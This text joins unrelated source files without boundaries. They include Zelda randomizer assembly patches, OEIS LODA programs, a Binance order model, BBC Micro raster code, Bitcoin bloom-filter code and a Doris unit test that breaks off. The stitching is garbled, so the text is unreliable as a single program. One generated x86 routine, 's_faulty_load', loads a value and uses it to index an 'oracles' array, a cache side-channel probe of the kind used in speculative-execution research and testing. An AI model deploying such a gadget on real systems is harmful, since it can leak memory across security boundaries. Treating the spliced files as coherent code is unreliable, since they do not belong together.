kiki will open door NOP #4 ;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees ;NOP #4 ;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees ;NOP #4 ;---------------------------------------------------- ;-- Witch org $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) NOP #4 ;---------------------------------------------------- ;-- Breaking Ganon's Tower Seal org $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------- ;-- Bombos tablet org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional) JSL.l DialogBombosTablet ;---------------------------------------------------- ;-- Ether tablet org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional) JSL.l DialogEtherTablet ;---------------------------------------------------- ;-- Agahnim 1 Defeated org $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal) ;;;JSL.l AddInventory_incrementBossSwordLong ;NOP #4 ;---------------------------------------------------- ;-- Old Mountain Man Encounter Text org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact) JSL Sprite_ShowMessageFromPlayerContact_Edit org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong) JML OldMountainMan_TransitionFromTagalong_Edit ;---------------------------------------------------------- ;-- Purple Chest Encounter Text org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------------- ;-- Middle aged man opens purple chest org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------------- ;-- Smiths ;-- Ribbit org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Ask us to do anything org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Your sword is tempered! org $06B538 ; <- 33538 sprite_smithy_bros.asm : 602 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .no_player_dialogue) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;-- Brought dwarf home org $06B438 ; <- 33438 sprite_smithy_bros.asm : 399 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- 10 rupees to temper org $06B470 ; <- 33470 sprite_smithy_bros.asm : 447 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- Yes, I'm sure org $06B495 ; <- 33495 sprite_smithy_bros.asm : 479 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;-- We'll take your sword org $06B4F3 ; <- 334F3 sprite_smithy_bros.asm : 556 (JSL Sprite_ShowMessageUnconditional) JSL ItemSet_SmithSword ;NOP #4 ;-- Smiths can't make your sword any stronger org $06B4A1 ; <- 334A1 sprite_smithy_bros.asm : 491 - (Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Not enough magic text org $07B0CC ; <- 3B0CC Bank07.asm : 7767 - (JSL Main_ShowTextMessage) NOP #4 ;---------------------------------------------------------- ;-- Witch's Assistant org $05F8E7 ; <- 2F8E7 sprite_potion_shop.asm : 603 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05F8F5 ; <- 2F8F5 sprite_potion_shop.asm : 620 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;---------------------------------------------------------- ;-- Bottle Vendor org $05EAE3 ; <- 2EAE3 sprite_bottle_vendor.asm : 104 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_converse) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $05EB03 ; <- 2EB03 sprite_bottle_vendor.asm : 129 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Digging Game Guy org $1DFC76 ; <- EFC76 sprite_digging_game_guy.asm : 46 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .return) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $1DFCA6 ; <- EFCA6 sprite_digging_game_guy.asm : 89 (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Flute Boy org $06B078 ; <- 33078 sprite_flute_boy.asm : 244 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $06B0AF ; <- 330AF sprite_flute_boy.asm : 308 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- 300 rupee npcs org $1EF047 ; <- F7047 sprite_shopkeeper.asm : 227 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing) (probably) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit ;---------------------------------------------------------- ;-- Chest Game Guy org $1EEFBF ; <- F6FBF sprite_shopkeeper.asm : 121 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC BRANCH_ALPHA) JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit org $1EEFE0 ; <- F6FE0 sprite_shopkeeper.asm : 144 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Desert Palace plaque (opening desert with book) org $1EE0D2 ; <- F60D2 Sprite_Hylian_Plaque.asm : 127 - (JSL Sprite_ShowMessageUnconditional) NOP #4 ;---------------------------------------------------------- ;-- Uncle gives sword org $05DF34 ; <- 2DF34 sprite_uncle_and_priest.asm : 961 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .player_not_close_2) JSL Sprite_ShowMessageFromPlayerContact_Edit ;---------------------------------------------------------- ;=================================== ;-- Escort Text ;-- dw coordinate, coordinate, flag, text message number, tagalong number ;=================================== org $09A4C2 ; <- 4A4C2 tagalong.asm : 967 - (.room_data_1) dw $1EF0, $0288, $0001, $0097, $00F0 ; Old man first text after encounter text dw $1E58, $02F0, $0002, $0098, $00F0 ; Old man "dead end" (when you run to the pot) dw $1EA8, $03B8, $0004, $0099, $00F0 ; Old man "turn right here" dw $0CF8, $025B, $0001, $001F, $00F0 ; Zelda "there's a secret passage" dw $0CF8, $039D, $0002, $001F, $00F0 ; Zelda "there's a secret passage" dw $0C78, $0238, $0004, $001F, $00F0 ; Zelda "there's a secret passage" dw $0A30, $02F8, $0001, $0020, $00F0 ; Zelda "we can push this" dw $0178, $0550, $0001, $0021, $00F0 ; Zelda "pull the lever" dw $0168, $04F8, $0002, $0028, $00F0 ; Zelda room before sanctuary dw $1BD8, $16FC, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $1520, $167C, $0001, $0122, $00F0 ; Blind (maiden) "don't take me outside!" dw $05AC, $04FC, $0001, $0027, $00F0 ; Zelda in the water room ;===================================================== ;-- Multiworld dialog override hook for item pickups ;===================================================== org $0eee88 jml alttp_multiworld_dialog ; Ancilla_ReceiveItem org $08C553 jsl alttp_mw_no_rupees ;===================================================== ;-- Multiworld gameplay hooks for message queue ;===================================================== org $02a499 ; Overworld (JSL Player_Main) jsl alttp_mw_handle_queue org $028849 ; Dungeon (JSL Player_Main) jsl alttp_mw_handle_queue ; Dark room temporary light cone disable ; org $08C531 jsl DisableTemporaryCone : nop #3 ; Hook the beginning of Save & Quit to add soft-reset restrictions org $00fa2b ; Bank00.asm : 8724 (LDA.b #$17 : STA $10) jsl OnBeginSaveAndQuit
; A291537: a(n) = 8^n - 3*2^n + 5. ; Submitted by Jamie Morken(s2) ; 7,57,493,4053,32677,261957,2096773,16776453,134216197,1073738757,8589928453,68719464453,549755789317,4398046461957,35184371990533,281474976514053,2251799813292037,18014398508695557,144115188074283013,1152921504603701253,9223372036848484357,73786976294825623557,590295810358680485893,4722366482869594882053,37778931862957061046277,302231454903657092349957,2417851639229257946759173,19342813113834065989992453,154742504910672532751777797,1237940039285380271677898757,9903520314283042192750542853 mov $1,8 pow $1,$0 mov $2,2 pow $2,$0 sub $1,$2 mov $0,$1 mul $0,4 add $0,$2 mul $0,2 add $0,5
SECTION code_fp_am9511 PUBLIC cam32_sdcc_fdiv2 EXTERN cam32_sdcc_read1, asm_am9511_fdiv2_fastcall .cam32_sdcc_fdiv2 call cam32_sdcc_read1 jp asm_am9511_fdiv2_fastcall
#pragma once #include <derivejson/derivejson.hpp> #include <json.hpp> using json = nlohmann::json; #include <vector> #include <string> using namespace std; namespace binance { namespace models { DEFINE_MODEL(Order, (string, symbol, "symbol") (long, order_id, "orderId") (string, client_order_id, "clientOrderId") (string, price, "price") (string, orig_qty, "origQty") (string, executed_qty, "executedQty") (string, status, "status") (string, time_in_force, "timeInForce") (string, type, "type") (string, side, "side") (string, stop_price, "stopPrice") (string, iceberg_qty, "icebergQty") (long, time, "time")) } }
// Test provided by Karu //SEQ test 1. Test when one is 0. // // Michael McKinley (mckinley) lbi r1, 0xff lbi r2, 0x00 seq r3, r1, r2 halt
; A207836: a(n) = n*A052530(n)/2. ; 0,3,16,75,336,1463,6240,26199,108640,445995,1815792,7341347,29505840,117982815,469672384,1862393775,7359403968,28991540051,113892526800,446305331451,1744950085648,6808253393415,26513475730464,103072540115975,400058834841120,1550464509091707,6000723890790832,23194828101288915,89549252013968880,345342436905785519,1330410859914364800,5120322203021241183,19688372388943678336,75639123899576218275,290354454959879100816,1113718066395189063083,4268788960691354757840,16350583006196891515479,62585852833332379886560,239412922174250640813495,915293901482906065915872,3497254852387199140261067,13355466116965956682224240,50976079882447066819608195,194472993871804001333001904,741560987173725262228600575,2826427180639940651709411648,10768127547084455437404889871,41007346028674709864965512000,156102328839823280997882770931,594004995398477173261212658768,2259488684753311551610130599515,8591630845543814832297313593744,32658188073138904834487976457895,124098053847950586934171999113120,471410603546701615559360794813287,1790193732850069783503396872539552,6796285241670394978597568690124315,25793981516587566063260120174675760,97868857041887275543792539160671539,371239277237035105256935302789663600 lpb $0 sub $0,1 add $1,1 add $2,$1 add $1,1 add $1,$2 add $1,$0 add $2,$1 lpe mov $0,$1
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r15 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x12777, %rsi lea addresses_A_ht+0x1d8d9, %rdi dec %r10 mov $46, %rcx rep movsq nop nop nop sub %r15, %r15 lea addresses_D_ht+0xc237, %rcx and %rbp, %rbp mov (%rcx), %esi nop nop nop nop add %rdi, %rdi lea addresses_UC_ht+0x17f77, %rsi lea addresses_A_ht+0x1ca82, %rdi nop nop sub %rbx, %rbx mov $25, %rcx rep movsl nop nop and %r15, %r15 lea addresses_normal_ht+0x1eb29, %rbx sub $28354, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%rbx) nop inc %r15 lea addresses_WT_ht+0x1cc37, %rsi lea addresses_A_ht+0x68cf, %rdi nop nop sub $43546, %rbx mov $13, %rcx rep movsq cmp %rsi, %rsi lea addresses_D_ht+0x4fb7, %rbp nop nop nop nop nop cmp %r10, %r10 mov $0x6162636465666768, %rbx movq %rbx, %xmm5 movups %xmm5, (%rbp) nop nop inc %rsi lea addresses_normal_ht+0x17177, %rsi lea addresses_normal_ht+0x2c07, %rdi dec %rdx mov $82, %rcx rep movsl nop nop nop nop nop sub %rbp, %rbp lea addresses_normal_ht+0x1ef7, %rsi nop dec %rdx mov (%rsi), %r10d inc %rdx lea addresses_A_ht+0x5cb7, %rsi lea addresses_UC_ht+0x31f7, %rdi nop nop nop nop nop sub %rbx, %rbx mov $86, %rcx rep movsw nop sub %rdx, %rdx lea addresses_normal_ht+0xbd77, %rsi nop sub %rcx, %rcx movups (%rsi), %xmm3 vpextrq $1, %xmm3, %r15 nop nop nop dec %r15 lea addresses_UC_ht+0xe677, %rsi lea addresses_A_ht+0x577, %rdi nop nop sub $7877, %rbp mov $91, %rcx rep movsq cmp $16888, %r10 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r15 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r9 push %rbp push %rcx push %rdx // Faulty Load lea addresses_normal+0x5f77, %rdx xor $19740, %r9 vmovaps (%rdx), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rbp lea oracles, %rdx and $0xff, %rbp shlq $12, %rbp mov (%rdx,%rbp,1), %rbp pop %rdx pop %rcx pop %rbp pop %r9 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_normal', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 6}} {'dst': {'same': True, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 7, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 1}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 7}} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 6, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'45': 3399, 'b4': 1, '49': 16, 'e4': 1, '00': 7, '44': 38, '62': 1, '41': 2} 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 44 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 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\ -*- mode:beebasm -*- \ ****************************************************************** \ * VERTICAL STRETCH ON TOP OF FREQUENCY GRID FX \ ****************************************************************** \\ TODO: Describe the FX and requirements. \\ Describe the track values used: \\ rocket_track_zoom => zoom factor [0-63] <- 1x to 10x height \\ rocket_track_y_pos => y position of middle line [0-127] <- middle of screen is 63 \ ****************************************************************** \ Update FX \ \ The update function is used to update / tick any variables used \ in the FX. It may also prepare part of the screen buffer before \ drawing commences but note the strict timing constraints! \ \ This function will be called during vblank, after any system \ modules have been polled. \ \ The function MUST COMPLETE BEFORE TIMER 1 REACHES 0, i.e. before \ raster line 0 begins. If you are late then the draw function will \ be late and your raster timings will be wrong! \ ****************************************************************** .fx_stretch_grid_update { jsr fx_vertical_stretch_update lda dv:sta fx_stretch_grid_dv_LO+1 lda dv+1:sta fx_stretch_grid_dv_HI+1 jmp fx_frequency_update_grid } \\ TODO: Make this comment correct for this framework! \ ****************************************************************** \ Draw FX \ \ The draw function is the main body of the FX. \ \ This function will be exactly at the start* of raster line 0 with \ a stablised raster. VC=0 HC=0|1 SC=0 \ \ This means that a new CRTC cycle has just started! If you didn't \ specify the registers from the previous frame then they will be \ the default MODE 0,1,2 values as per initialisation. \ \ If messing with CRTC registers, THIS FUNCTION MUST ALWAYS PRODUCE \ A FULL AND VALID 312 line PAL signal before exiting! \ ****************************************************************** \\ Limited RVI \\ Display 0,2,4,6 scanline offset for 2 scanlines. \\ <--- 102c total w/ 80c visible and hsync at 98c ---> <2c> ..13x <2c> = 128c \\ Plus one extra for luck! (i.e. we wait for 13 but C9 counts 14 in total.) \\ R9 = 13 + current - next \\ \\ Assumes R4=0, i.e. one row per CRTC cycle. \\ Scanline 0 has normal R0 width 128c. \\ Must set R9 before final scanline to 13 + current - next. eg. R9 = 13 + 0 - 2 = 11 \\ Set scanline 1 to have width 102c. \\ At 102c set R0 width to 2c and skip remaining 26c. \\ At 0c reset R0 width to 128c. \\ \\ Select CRTC register 0, i.e. lda #0:sta &fe00 \\ \\ cycles --> 94 96 98 100 102 104 106 108 110 112 114 116 118 120 122 124 126 0 \\ lda.sta..........WAIT_CYCLES 18 ..............................lda..sta ...........| \\ #1 &fe01 #127 &fe01 \\ scanline 1 2 3 4 5 6 7 8 9 10 11 xx 0 1 2 \\ | \\ --> missed due to end of CRTC frame + \\ \\ NB. There is no additional scanline if this is not the end of the CRTC frame. .fx_stretch_grid_draw { \\ <=== HCC=0 (scanline=-2) \\ Update v <-- could be done in update. clc:lda v:adc dv:sta v ; 11c lda v+1:adc dv+1:sta v+1 ; 9c \\ 20c \\ Row 1 screen start tax ; 2c lda #13:sta &fe00 ; 8c lda fx_stretch_vram_table_LO, X ; 4c sta &fe01 ; 6c lda #12:sta &fe00 ; 8c lda fx_stretch_vram_table_HI, X ; 4c sta &fe01 ; 6c \\ 40c \\ Row 1 scanline lda #9:sta &fe00 ; 8c lda v+1:asl a:and #6 ; 7c \\ 2-bits * 2 tax ; 2c eor #&ff ; 2c sec ; 2c adc #13 ; 2c clc ; 2c adc prev_scanline ; 3c \\ R9 must be set before final scanline of the row. sta &fe01 ; 6c stx prev_scanline ; 3c \\ 35c WAIT_CYCLES 21 ldy #0 ; 2c \\ <=== HCC=118 (scanline=-2) FOR stripe,0,7,1 lda vgc_freq_array+stripe, Y ; 4c ora #&80+(stripe*&10) ; 2c column <= could factor out? sta &fe21 ; 4c NEXT \\ 10c * 8 = 80c \\ <== HCC=70 (scanline=odd) so that colour is set before final stripe displayed. \\ Set R0=101 (102c) stz &fe00 ; 6c lda #101:sta &fe01 ; 8c WAIT_CYCLES 10 \\ At HCC=102 set R0=1. lda #1:sta &fe01 ; 8c \\ <=== HCC=102 \\ Burn R0=1 scanlines. lda #15:sta grid_row_count ; 5c clc ; 2c ldx #4 ; 2c WAIT_CYCLES 9 \\ At HCC=0 set R0=127 lda #127:sta &fe01 ; 8c \\ <=== HCC=0 (scanline=0) stx &fe00 ; 6c stz &fe01 ; 6c \\ Now 2x scanlines per loop. .char_row_loop { \\ Update v lda v .*fx_stretch_grid_dv_LO adc #0:sta v ; 8c lda v+1 .*fx_stretch_grid_dv_HI adc #0:sta v+1 ; 8c \\ 16c \\ Row N+1 screen start tax ; 2c lda #13:sta &fe00 ; 8c lda fx_stretch_vram_table_LO, X ; 4c sta &fe01 ; 6c lda #12:sta &fe00 ; 8c lda fx_stretch_vram_table_HI, X ; 4c sta &fe01 ; 6c \\ 38c \\ NB. Must set R9 before final scanline of the row! \\ Row N+1 scanline lda #9:sta &fe00 ; 8c lda v+1:asl a:and #6 ; 7c \\ 2-bits * 2 tax ; 2c eor #&ff ; 2c sec ; 2c adc #13 ; 2c clc ; 2c adc prev_scanline ; 3c sta &fe01 ; 6c stx prev_scanline ; 3c \\ 37c lda grid_row_count ; 3c cmp #1 ; 2c bne colour_path ; 2c jmp set_black_palette ; 3c .colour_path ; 3c WAIT_CYCLES 7 \\ 15c \\ <=== HCC=118 (scanline=even) FOR stripe,0,7,1 lda vgc_freq_array+stripe, Y ; 4c ora #&80+(stripe*&10) ; 2c column <= could factor out? sta &fe21 ; 4c NEXT \\ 10c * 8 = 80c .^return_from_black_palette \\ <== HCC=70 (scanline=odd) so that colour is set before final stripe displayed. \\ Set R0=101 (102c) stz &fe00 ; 6c lda #101:sta &fe01 ; 8c WAIT_CYCLES 8 clc ; 2c \\ At HCC=102 set R0=1. lda #1:sta &fe01 ; 8c \\ <=== HCC=102 \\ Burn R0=1 scanlines. \\ Increment freq_array index every 30 scanlines. { dec grid_row_count ; 5c bne alt_path ; jump away and back. ; 2c tya:adc #8:tay ; 6c lda #15 ; 2c sta grid_row_count ; 3c \\ 18c } .^return_from_alt_path \\ At HCC=0 set R0=127 lda #127:sta &fe01 ; 8c \\ <=== HCC=0 (scanline=even) clc ; 2c dec row_count ; 5c beq scanline_last ; 2c jmp char_row_loop ; 3c } .scanline_last \\ Currently at scanline 2+118*2=238, need 312 lines total. \\ Remaining scanlines = 74 = 37 rows * 2 scanlines. lda #4: sta &FE00 lda #36: sta &FE01 \\ R7 vsync at scanline 272 = 238 + 17*2 lda #7:sta &fe00 lda #17:sta &fe01 \\ If prev_scanline=6 then R9=7 \\ If prev_scanline=4 then R9=5 \\ If prev_scanline=2 then R9=3 \\ If prev_scanline=0 then R9=1 { lda #9:sta &fe00 clc lda #1 adc prev_scanline sta &fe01 } \\ Row 31 WAIT_SCANLINES_ZERO_X 2 \\ R9=1 lda #9:sta &fe00 lda #1:sta &fe01 lda #0:sta prev_scanline rts .alt_path ; 8c WAIT_CYCLES 7 jmp return_from_alt_path ; 3c \\ 18c .set_black_palette ; 10c FOR stripe,0,7,1 lda #&80+(stripe*&10)+PAL_black ; 2c sta &fe21 ; 4c NEXT \\ 6c * 8 = 48c WAIT_CYCLES 34 jmp return_from_black_palette ; 3c \\ 95c }
// Copyright (c) 2012-2019 The Bitcoin developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "bloom.h" #include "hash.h" #include "primitives/transaction.h" #include "script/script.h" #include "script/standard.h" #include "streams.h" #include <math.h> #include <stdlib.h> #include <boost/foreach.hpp> #define LN2SQUARED 0.4804530139182014246671025263266649717305529515945455 #define LN2 0.6931471805599453094172321214581765680755001343602552 using namespace std; CBloomFilter::CBloomFilter(unsigned int nElements, double nFPRate, unsigned int nTweakIn, unsigned char nFlagsIn) : /** * The ideal size for a bloom filter with a given number of elements and false positive rate is: * - nElements * log(fp rate) / ln(2)^2 * We ignore filter parameters which will create a bloom filter larger than the protocol limits */ vData(min((unsigned int)(-1 / LN2SQUARED * nElements * log(nFPRate)), MAX_BLOOM_FILTER_SIZE * 8) / 8), /** * The ideal number of hash functions is filter size * ln(2) / number of elements * Again, we ignore filter parameters which will create a bloom filter with more hash functions than the protocol limits * See https://en.wikipedia.org/wiki/Bloom_filter for an explanation of these formulas */ isFull(false), isEmpty(false), nHashFuncs(min((unsigned int)(vData.size() * 8 / nElements * LN2), MAX_HASH_FUNCS)), nTweak(nTweakIn), nFlags(nFlagsIn) { } inline unsigned int CBloomFilter::Hash(unsigned int nHashNum, const std::vector<unsigned char>& vDataToHash) const { // 0xFBA4C795 chosen as it guarantees a reasonable bit difference between nHashNum values. return MurmurHash3(nHashNum * 0xFBA4C795 + nTweak, vDataToHash) % (vData.size() * 8); } void CBloomFilter::insert(const vector<unsigned char>& vKey) { if (isFull) return; for (unsigned int i = 0; i < nHashFuncs; i++) { unsigned int nIndex = Hash(i, vKey); // Sets bit nIndex of vData vData[nIndex >> 3] |= (1 << (7 & nIndex)); } isEmpty = false; } void CBloomFilter::insert(const COutPoint& outpoint) { CDataStream stream(SER_NETWORK, PROTOCOL_VERSION); stream << outpoint; vector<unsigned char> data(stream.begin(), stream.end()); insert(data); } void CBloomFilter::insert(const uint256& hash) { vector<unsigned char> data(hash.begin(), hash.end()); insert(data); } bool CBloomFilter::contains(const vector<unsigned char>& vKey) const { if (isFull) return true; if (isEmpty) return false; for (unsigned int i = 0; i < nHashFuncs; i++) { unsigned int nIndex = Hash(i, vKey); // Checks bit nIndex of vData if (!(vData[nIndex >> 3] & (1 << (7 & nIndex)))) return false; } return true; } bool CBloomFilter::contains(const COutPoint& outpoint) const { CDataStream stream(SER_NETWORK, PROTOCOL_VERSION); stream << outpoint; vector<unsigned char> data(stream.begin(), stream.end()); return contains(data); } bool CBloomFilter::contains(const uint256& hash) const { vector<unsigned char> data(hash.begin(), hash.end()); return contains(data); } void CBloomFilter::clear() { vData.assign(vData.size(), 0); isFull = false; isEmpty = true; } bool CBloomFilter::IsWithinSizeConstraints() const { return vData.size() <= MAX_BLOOM_FILTER_SIZE && nHashFuncs <= MAX_HASH_FUNCS; } bool CBloomFilter::IsRelevantAndUpdate(const CTransaction& tx) { bool fFound = false; // Match if the filter contains the hash of tx // for finding tx when they appear in a block if (isFull) return true; if (isEmpty) return false; const uint256& hash = tx.GetHash(); if (contains(hash)) fFound = true; for (unsigned int i = 0; i < tx.vout.size(); i++) { const CTxOut& txout = tx.vout[i]; // Match if the filter contains any arbitrary script data element in any scriptPubKey in tx // If this matches, also add the specific output that was matched. // This means clients don't have to update the filter themselves when a new relevant tx // is discovered in order to find spending transactions, which avoids round-tripping and race conditions. CScript::const_iterator pc = txout.scriptPubKey.begin(); vector<unsigned char> data; while (pc < txout.scriptPubKey.end()) { opcodetype opcode; if (!txout.scriptPubKey.GetOp(pc, opcode, data)) break; if (data.size() != 0 && contains(data)) { fFound = true; if ((nFlags & BLOOM_UPDATE_MASK) == BLOOM_UPDATE_ALL) insert(COutPoint(hash, i)); else if ((nFlags & BLOOM_UPDATE_MASK) == BLOOM_UPDATE_P2PUBKEY_ONLY) { txnouttype type; vector<vector<unsigned char> > vSolutions; if (Solver(txout.scriptPubKey, type, vSolutions) && (type == TX_PUBKEY || type == TX_MULTISIG)) insert(COutPoint(hash, i)); } break; } } } if (fFound) return true; BOOST_FOREACH (const CTxIn& txin, tx.vin) { // Match if the filter contains an outpoint tx spends if (contains(txin.prevout)) return true; // Match if the filter contains any arbitrary script data element in any scriptSig in tx CScript::const_iterator pc = txin.scriptSig.begin(); vector<unsigned char> data; while (pc < txin.scriptSig.end()) { opcodetype opcode; if (!txin.scriptSig.GetOp(pc, opcode, data)) break; if (data.size() != 0 && contains(data)) return true; } } return false; } void CBloomFilter::UpdateEmptyFull() { bool full = true; bool empty = true; for (unsigned int i = 0; i < vData.size(); i++) { full &= vData[i] == 0xff; empty &= vData[i] == 0; } isFull = full; isEmpty = empty; }
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include "olap/row_block.h" #include <gtest/gtest.h> #include <sstream> #include "common/object_pool.h" #include "exprs/expr.h" #include "exprs/expr_context.h" #include "olap/tablet.h" #include "runtime/runtime_state.h" #include "util/debug_util.h" #include "util/logging.h" using std::vector; using std::string; using std::endl; using std::stringstream; namespace doris { class TestRowBlock : public testing::Test { public: TestRowBlock() {} void SetUp() {} void TearDown() {} }; void init_tablet_schema(TabletSchema* tablet_schema) { TabletSchemaPB tablet_schema_pb; { // k1: bigint { ColumnPB* column_1 = tablet_schema_pb.add_column(); column_1->set_unique_id(1); column_1->set_name("k1"); column_1->set_type("BIGINT"); column_1->set_is_key(true); column_1->set_length(8); column_1->set_aggregation("NONE"); } // k2: char { ColumnPB* column_2 = tablet_schema_pb.add_column(); column_2->set_unique_id(2); column_2->set_name("k2"); column_2->set_type("CHAR"); column_2->set_is_key(true); column_2->set_length(10); column_2->set_aggregation("NONE"); } // k3: varchar { ColumnPB* column_3 = tablet_schema_pb.add_column(); column_3->set_unique_id(3); column_3->set_name("k3"); column_3->set_type("VARCHAR"); column_3->set_is_key(true); column_3->set_length(20); column_3->set_aggregation("NONE"); } } tablet_schema->init_from_pb(tablet_schema_pb); } TEST_F(TestRowBlock, init) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); { // has nullbyte RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; block.init(block_info); EXPECT_EQ(9 + 17 + 17, block._mem_row_bytes); } { // has nullbyte RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = false; block.init(block_info); EXPECT_EQ(9 + 17 + 17, block._mem_row_bytes); } { RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; block_info.column_ids.push_back(1); block.init(block_info); // null + sizeof(Slice) EXPECT_EQ(17, block._mem_row_bytes); EXPECT_EQ(std::numeric_limits<size_t>::max(), block._field_offset_in_memory[0]); EXPECT_EQ(0, block._field_offset_in_memory[1]); EXPECT_EQ(std::numeric_limits<size_t>::max(), block._field_offset_in_memory[2]); } } TEST_F(TestRowBlock, write_and_read) { TabletSchema tablet_schema; init_tablet_schema(&tablet_schema); RowBlock block(&tablet_schema); RowBlockInfo block_info; block_info.row_num = 1024; block_info.null_supported = true; 